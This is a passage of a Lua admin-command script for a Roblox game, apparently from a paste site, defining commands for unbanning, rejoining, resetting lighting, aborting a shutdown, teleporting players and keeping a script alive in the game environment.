- for TheName,v in pairs(Ranked) do
- if v.Rank ~= -0.5 and v.Rank < 0 then
- Output(TheName,'Red',Speaker,nil,
- function()
- RemoveTablets(Speaker)
- Output('Unban [' .. TheName .. '].','Really blue',Speaker,nil,
- function()
- Ranked[TheName].Rank=0
- end
- )
- end
- )
- end
- end
- end
- )
- YourCMD('Rejoin','rj',1,
- function(Msg, Speaker)
- repeat
- wait()
- until Speaker:findFirstChild('Backpack')
- CreateLocalScript("game:service'TeleportService':Teleport(game.PlaceId)",Speaker.Backpack)
- end
- )
- YourCMD('Reset Lighting','rl',1,
- function(Msg, Speaker)
- for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
- v:remove()
- end
- local light = game:GetService("Lighting")
- light.TimeOfDay = "14:00:00"
- light.Brightness = 1
- light.ColorShift_Bottom = Color3.new(0, 0, 0)
- light.ColorShift_Top = Color3.new(0, 0, 0)
- light.ShadowColor = Color3.new(178, 178, 178)
- light.Ambient = Color3.new(1, 1, 1)
- light.FogStart= 0
- light.FogEnd= 10000000000000
- loggit("Reset lighting")
- end
- )
- YourCMD('Abort shutdown','abort',7,
- function(Msg, Speaker)
- Abort = true
- end
- )
- YourCMD('Teleport','tp',2,
- function(Msg, Speaker)
- Split=Msg:find(YourBet2)
- Player1 = GetPlayers(Msg:sub(1,Split-1),Speaker)
- Player2 = GetPlayers(Msg:sub(Split+1),Speaker)
- for i,v in pairs(Player1) do
- for ii,e in pairs(Player2) do
- CF = CFrame.new(0,0,0)
- CF2= CFrame.new()
- CF2 = e.Character.Torso.CFrame
- v.Character.Torso.CFrame = CFrame.new(CF2.x,CF2.y + tonumber(i+4), CF2.z)
- end
- end
- end)
- YourCMD('Connect to nil','connect',5,
- function(Msg, Speaker)
- repeat
- wait()
- until Speaker:findFirstChild('Backpack')
- KPL = CreateLocalScript( [==[test = test]==],Speaker.Backpack)
- if not KPL then
- Output('Needs Local Source','Red',Speaker,3)
- end
- end)
- --[[if script.Disabled == false then
- if not(...)then
- Game:GetService("Debris").AddItem(script,0)
- local reboot = setfenv(1, getfenv())
- local connection
- connection = script.Parent.DescendantRemoving:connect(function(object)
- if object == script then
- connection:disconnect()
- script.Disabled = true
- reboot(true)
- end
- end)
- return
- end
- end]]--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement